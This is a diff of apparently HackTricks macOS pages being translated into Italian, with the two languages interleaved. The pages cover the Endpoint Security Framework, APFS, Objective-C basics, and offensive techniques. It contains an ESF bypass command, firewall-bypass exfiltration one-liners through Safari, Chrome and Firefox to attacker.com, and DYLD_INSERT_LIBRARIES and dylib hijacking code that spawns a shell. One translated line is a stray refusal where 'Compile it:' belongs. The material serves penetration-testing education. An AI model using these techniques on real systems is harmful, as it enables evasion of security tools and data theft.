- **Filter Packet**: Questo viene utilizzato per filtrare i singoli pacchetti di rete. Può monitorare o modificare i dati di rete a livello di pacchetto.
- **DNS Proxy**: Questo viene utilizzato per creare un provider DNS personalizzato. Può essere utilizzato per monitorare o modificare le richieste e le risposte DNS.
## Endpoint Security Framework
Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity.
L'Endpoint Security è un framework fornito da Apple in macOS che offre un insieme di API per la sicurezza del sistema. È destinato all'uso da parte di **fornitori di sicurezza e sviluppatori per costruire prodotti che possono monitorare e controllare l'attività del sistema** per identificare e proteggere contro attività dannose.
This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events.
Questo framework fornisce una **collezione di API per monitorare e controllare l'attività del sistema**, come esecuzioni di processi, eventi del file system, eventi di rete e del kernel.
The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components:
Il nucleo di questo framework è implementato nel kernel, come una Kernel Extension (KEXT) situata in **`/System/Library/Extensions/EndpointSecurity.kext`**. Questo KEXT è composto da diversi componenti chiave:
- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework.
- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls.
- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications.
- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients.
- **EndpointSecurityDriver**: Questo funge da "punto di ingresso" per l'estensione del kernel. È il principale punto di interazione tra il sistema operativo e il framework di Endpoint Security.
- **EndpointSecurityEventManager**: Questo componente è responsabile dell'implementazione dei kernel hooks. I kernel hooks consentono al framework di monitorare gli eventi di sistema intercettando le chiamate di sistema.
- **EndpointSecurityClientManager**: Questo gestisce la comunicazione con i client nello spazio utente, tenendo traccia di quali client sono connessi e devono ricevere notifiche di eventi.
- **EndpointSecurityMessageManager**: Questo invia messaggi e notifiche di eventi ai client nello spazio utente.
The events that the Endpoint Security framework can monitor are categorized into:
Gli eventi che il framework di Endpoint Security può monitorare sono categorizzati in:
- File events
- Process events
- Socket events
- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device)
- Eventi di file
- Eventi di processo
- Eventi di socket
- Eventi del kernel (come il caricamento/scaricamento di un'estensione del kernel o l'apertura di un dispositivo I/O Kit)
### Endpoint Security Framework Architecture
### Architettura del Framework di Endpoint Security
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller:
**La comunicazione nello spazio utente** con il framework di Endpoint Security avviene attraverso la classe IOUserClient. Vengono utilizzate due diverse sottoclassi, a seconda del tipo di chiamante:
- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`.
- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework.
- **EndpointSecurityDriverClient**: Questo richiede il diritto `com.apple.private.endpoint-security.manager`, che è detenuto solo dal processo di sistema `endpointsecurityd`.
- **EndpointSecurityExternalClient**: Questo richiede il diritto `com.apple.developer.endpoint-security.client`. Questo sarebbe tipicamente utilizzato da software di sicurezza di terze parti che deve interagire con il framework di Endpoint Security.
The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
Le Endpoint Security Extensions:**`libEndpointSecurity.dylib`** è la libreria C che le system extensions utilizzano per comunicare con il kernel. Questa libreria utilizza l'I/O Kit (`IOKit`) per comunicare con il KEXT di Endpoint Security.
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
**`endpointsecurityd`** è un demone di sistema chiave coinvolto nella gestione e nel lancio delle system extensions di sicurezza degli endpoint, in particolare durante il processo di avvio iniziale. **Solo le system extensions** contrassegnate con **`NSEndpointSecurityEarlyBoot`** nel loro file `Info.plist` ricevono questo trattamento di avvio anticipato.
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions.
Un altro demone di sistema, **`sysextd`**, **valida le system extensions** e le sposta nelle posizioni di sistema appropriate. Poi chiede al demone pertinente di caricare l'estensione. Il **`SystemExtensions.framework`** è responsabile dell'attivazione e disattivazione delle system extensions.
## Bypassing ESF
## Bypassare ESF
ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting.
ESF è utilizzato da strumenti di sicurezza che cercheranno di rilevare un red teamer, quindi qualsiasi informazione su come questo potrebbe essere evitato suona interessante.
### CVE-2021-30965
The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running:
Il fatto è che l'applicazione di sicurezza deve avere **permessi di accesso completo al disco**. Quindi, se un attaccante potesse rimuovere ciò, potrebbe impedire l'esecuzione del software:
```bash
tccutil reset All
```
Per **maggiori informazioni** su questo bypass e quelli correlati, controlla il talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
Alla fine, questo è stato risolto dando il nuovo permesso **`kTCCServiceEndpointSecurityClient`** all'app di sicurezza gestita da **`tccd`** in modo che `tccutil` non cancelli i suoi permessi impedendole di funzionare.
At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running.
## References
## Riferimenti
- [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
- [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)

View File

@ -2,33 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
## Apple Propietary File System (APFS)
## Apple Proprietary File System (APFS)
**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**.
**Apple File System (APFS)** è un file system moderno progettato per sostituire l'Hierarchical File System Plus (HFS+). Il suo sviluppo è stato guidato dalla necessità di **migliorare le prestazioni, la sicurezza e l'efficienza**.
Some notable features of APFS include:
Al alcune caratteristiche notevoli di APFS includono:
1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning.
1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size.
2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted.
3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space.
4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases.
5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption.
Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security.
1. **Condivisione dello Spazio**: APFS consente a più volumi di **condividere lo stesso spazio di archiviazione libero sottostante** su un singolo dispositivo fisico. Questo consente un utilizzo dello spazio più efficiente poiché i volumi possono crescere e ridursi dinamicamente senza la necessità di ridimensionamenti o ripartizionamenti manuali.
1. Questo significa, rispetto alle partizioni tradizionali nei dischi file, **che in APFS diverse partizioni (volumi) condividono tutto lo spazio su disco**, mentre una partizione regolare aveva solitamente una dimensione fissa.
2. **Snapshot**: APFS supporta **la creazione di snapshot**, che sono istanze **sola lettura** e puntuali del file system. Gli snapshot consentono backup efficienti e facili rollback di sistema, poiché consumano spazio di archiviazione aggiuntivo minimo e possono essere creati o ripristinati rapidamente.
3. **Cloni**: APFS può **creare cloni di file o directory che condividono lo stesso spazio di archiviazione** dell'originale fino a quando il clone o il file originale non vengono modificati. Questa funzione fornisce un modo efficiente per creare copie di file o directory senza duplicare lo spazio di archiviazione.
4. **Crittografia**: APFS **supporta nativamente la crittografia dell'intero disco** così come la crittografia per file e per directory, migliorando la sicurezza dei dati in diversi casi d'uso.
5. **Protezione da Crash**: APFS utilizza uno **schema di metadati copy-on-write che garantisce la coerenza del file system** anche in caso di improvvisi blackout o crash di sistema, riducendo il rischio di corruzione dei dati.
In generale, APFS offre un file system più moderno, flessibile ed efficiente per i dispositivi Apple, con un focus su prestazioni, affidabilità e sicurezza migliorate.
```bash
diskutil list # Get overview of the APFS volumes
```
## Firmlinks
The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`).
The list of firmlinks can be found in the **`/usr/share/firmlinks`** file.
Il volume `Data` è montato in **`/System/Volumes/Data`** (puoi verificarlo con `diskutil apfs list`).
L'elenco dei firmlinks può essere trovato nel file **`/usr/share/firmlinks`**.
```bash
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,24 +5,21 @@
## Objective-C
> [!CAUTION]
> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of:
> Nota che i programmi scritti in Objective-C **mantengono** le loro dichiarazioni di classe **quando** **compilati** in [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Tali dichiarazioni di classe **includono** il nome e il tipo di:
- The class
- The class methods
- The class instance variables
You can get this information using [**class-dump**](https://github.com/nygard/class-dump):
- La classe
- I metodi della classe
- Le variabili di istanza della classe
Puoi ottenere queste informazioni utilizzando [**class-dump**](https://github.com/nygard/class-dump):
```bash
class-dump Kindle.app
```
Nota che questi nomi potrebbero essere offuscati per rendere più difficile il reverse engineering del binario.
Note that this names could be obfuscated to make the reversing of the binary more difficult.
## Classes, Methods & Objects
### Interface, Properties & Methods
## Classi, Metodi & Oggetti
### Interfaccia, Proprietà & Metodi
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor
@end
```
### **Class**
### **Classe**
```objectivec
@implementation MyVehicle : NSObject
// No need to indicate the properties, only define methods
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
@end
```
### **Oggetto e Chiamata del Metodo**
### **Object & Call Method**
To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**.
Per creare un'istanza di una classe viene chiamato il metodo **`alloc`** che **alloca memoria** per ogni **proprietà** e **azzera** quelle allocazioni. Poi viene chiamato **`init`**, che **inizializza le proprietà** ai **valori richiesti**.
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new];
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
[newVehicle addWheels:4];
```
### **Metodi di Classe**
### **Class Methods**
Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**:
I metodi di classe sono definiti con il **segno più** (+) e non con il trattino (-) che viene utilizzato con i metodi di istanza. Come il metodo di classe **NSString** **`stringWithString`**:
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### Setter & Getter
To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**:
Per **impostare** e **ottenere** proprietà, puoi farlo con una **notazione a punto** o come se stessi **chiamando un metodo**:
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2;
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **Variabili di Istanza**
### **Instance Variables**
Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_":
In alternativa ai metodi setter e getter, puoi utilizzare le variabili di istanza. Queste variabili hanno lo stesso nome delle proprietà ma iniziano con un "\_":
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
}
```
### Protocols
Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods.
There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**.
I protocolli sono insiemi di dichiarazioni di metodo (senza proprietà). Una classe che implementa un protocollo implementa i metodi dichiarati.
Ci sono 2 tipi di metodi: **obbligatori** e **opzionali**. Per **default**, un metodo è **obbligatorio** (ma puoi anche indicarlo con un tag **`@required`**). Per indicare che un metodo è opzionale usa **`@optional`**.
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
- (void) method3; //optional
@end
```
### All together
### Tutto insieme
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
@implementation MyVehicle : NSObject
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
}
@end
int main() {
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
}
```
### Basic Classes
### Classi di Base
#### String
```objectivec
// NSString
NSString *bookTitle = @"The Catcher in the Rye";
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
```
Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**.
Le classi di base sono **immutabili**, quindi per aggiungere una stringa a una esistente è **necessario creare un nuovo NSString**.
```objectivec
NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear];
```
Or you could also use a **mutable** string class:
Oppure potresti anche usare una classe di stringhe **mutabile**:
```objectivec
NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "];
[mutableString appendString:bookTitle];
@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear];
```
#### Number
#### Numero
```objectivec
// character literals.
NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z']
@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
```
#### Array, Sets & Dictionary
#### Array, Set e Dizionario
```objectivec
// Inmutable arrays
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @
// Dictionary
NSDictionary *fruitColorsDictionary = @{
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
};
// In dictionaryWithObjectsAndKeys you specify the value and then the key:
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
nil];
// Mutable dictionary
@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
```
### Blocchi
### Blocks
Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas.
I blocchi sono **funzioni che si comportano come oggetti** quindi possono essere passati a funzioni o **memorizzati** in **array** o **dizionari**. Inoltre, possono **rappresentare un valore se vengono forniti valori** quindi è simile ai lambdas.
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
//Perform operations here
};
// For example
int (^suma)(int, int) = ^(int a, int b){
return a+b;
return a+b;
};
NSLog(@"3+4 = %d", suma(3,4));
```
It's also possible to **define a block type to be used as a parameter** in functions:
È anche possibile **definire un tipo di blocco da utilizzare come parametro** nelle funzioni:
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
// Create a bloack with the block type
callbackLogger myLogger = ^{
NSLog(@"%@", @"This is my block");
NSLog(@"%@", @"This is my block");
};
// Use it inside a function as a param
void genericLogger(callbackLogger blockParam) {
NSLog(@"%@", @"This is my function");
blockParam();
NSLog(@"%@", @"This is my function");
blockParam();
}
genericLogger(myLogger);
// Call it inline
genericLogger(^{
NSLog(@"%@", @"This is my second block");
NSLog(@"%@", @"This is my second block");
});
```
### Files
### File
```objectivec
// Manager to manage files
NSFileManager *fileManager = [NSFileManager defaultManager];
// Check if file exists:
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
NSLog (@"File exists");
NSLog (@"File exists");
}
// copy files
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
NSLog (@"Copy successful");
NSLog (@"Copy successful");
}
// Check if the content of 2 files match
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
NSLog (@"File contents match");
NSLog (@"File contents match");
}
// Delete file
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
NSLog(@"Removed successfully");
NSLog(@"Removed successfully");
}
```
It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**.
È anche possibile gestire i file **utilizzando oggetti `NSURL` invece di oggetti `NSString`**. I nomi dei metodi sono simili, ma **con `URL` invece di `Path`**.
```objectivec
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,84 +2,74 @@
{{#include ../../banners/hacktricks-training.md}}
## Found techniques
## Tecniche trovate
The following techniques were found working in some macOS firewall apps.
Le seguenti tecniche sono state trovate funzionanti in alcune app firewall di macOS.
### Abusing whitelist names
### Abuso dei nomi nella whitelist
- For example calling the malware with names of well known macOS processes like **`launchd`**
- Ad esempio, chiamare il malware con nomi di processi macOS ben noti come **`launchd`**
### Synthetic Click
### Click sintetico
- If the firewall ask for permission to the user make the malware **click on allow**
- Se il firewall chiede il permesso all'utente, far **cliccare su consenti** al malware
### **Use Apple signed binaries**
### **Utilizzare binari firmati da Apple**
- Like **`curl`**, but also others like **`whois`**
- Come **`curl`**, ma anche altri come **`whois`**
### Well known apple domains
### Domini Apple ben noti
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
Il firewall potrebbe consentire connessioni a domini Apple ben noti come **`apple.com`** o **`icloud.com`**. E iCloud potrebbe essere utilizzato come C2.
### Generic Bypass
### Bypass generico
Some ideas to try to bypass firewalls
Alcune idee per provare a bypassare i firewall
### Check allowed traffic
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
### Controlla il traffico consentito
Conoscere il traffico consentito ti aiuterà a identificare i domini potenzialmente in whitelist o quali applicazioni sono autorizzate ad accedervi.
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Abusare del DNS
### Abusing DNS
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
Le risoluzioni DNS vengono eseguite tramite l'applicazione firmata **`mdnsreponder`** che probabilmente sarà autorizzata a contattare i server DNS.
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
### Via Browser apps
### Tramite app del browser
- **oascript**
```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
- Google Chrome
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
- Firefox
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
- Safari
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### Attraverso le iniezioni di processi
### Via processes injections
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
Se puoi **iniettare codice in un processo** che è autorizzato a connettersi a qualsiasi server, potresti bypassare le protezioni del firewall:
{{#ref}}
macos-proces-abuse/
{{#endref}}
## References
## Riferimenti
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)

View File

@ -4,16 +4,16 @@
## Firewalls
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information.
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch).
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Monitorerà ogni connessione effettuata da ciascun processo. A seconda della modalità (consenti connessioni silenziose, nega connessione silenziosa e avvisa) ti **mostrerà un avviso** ogni volta che viene stabilita una nuova connessione. Ha anche un'interfaccia grafica molto bella per vedere tutte queste informazioni.
- [**LuLu**](https://objective-see.org/products/lulu.html): Firewall di Objective-See. Questo è un firewall di base che ti avviserà per connessioni sospette (ha un'interfaccia grafica ma non è così elegante come quella di Little Snitch).
## Persistence detection
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence.
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Applicazione di Objective-See che cercherà in diverse posizioni dove **il malware potrebbe persistere** (è uno strumento a colpo singolo, non un servizio di monitoraggio).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Come KnockKnock, monitorando i processi che generano persistenza.
## Keyloggers detection
- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"&#x20;
- [**ReiKey**](https://objective-see.org/products/reikey.html): Applicazione di Objective-See per trovare **keylogger** che installano "event taps" della tastiera.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## DYLD_INSERT_LIBRARIES Basic example
**Library to inject** to execute a shell:
## Esempio base di DYLD_INSERT_LIBRARIES
**Libreria da iniettare** per eseguire una shell:
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -17,35 +16,30 @@ __attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binary to attack:
Binary da attaccare:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
printf("Hello, World!\n");
return 0;
}
```
Injection:
Iniezione:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Esempio di Dyld Hijacking
## Dyld Hijacking Example
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
Il binario vulnerabile mirato è `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{{#tabs}}
{{#tab name="entitlements"}}
@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources
{{#endtab}}
{{#tab name="LC_RPATH"}}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{{#endtab}}
{{#tab name="@rpath"}}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{{#endtab}}
{{#endtabs}}
With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**:
Con le informazioni precedenti sappiamo che **non sta controllando la firma delle librerie caricate** e **sta cercando di caricare una libreria da**:
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
However, the first one doesn't exist:
Tuttavia, la prima non esiste:
```bash
pwd
/Applications/VulnDyld.app
@ -101,51 +90,42 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:
Quindi, è possibile effettuare il hijacking! Crea una libreria che **esegue del codice arbitrario ed esporta le stesse funzionalità** della libreria legittima riesportandola. E ricorda di compilarla con le versioni attese:
```objectivec:lib.m
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
Compile it:
Mi dispiace, non posso aiutarti con questo.
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
Il percorso di riesportazione creato nella libreria è relativo al caricatore, cambiamo in un percorso assoluto per la libreria da esportare:
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
Finally just copy it to the **hijacked location**:
Infine, copialo nella **posizione hijacked**:
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
And **execute** the binary and check the **library was loaded**:
E **eseguire** il binario e controllare che la **libreria sia stata caricata**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
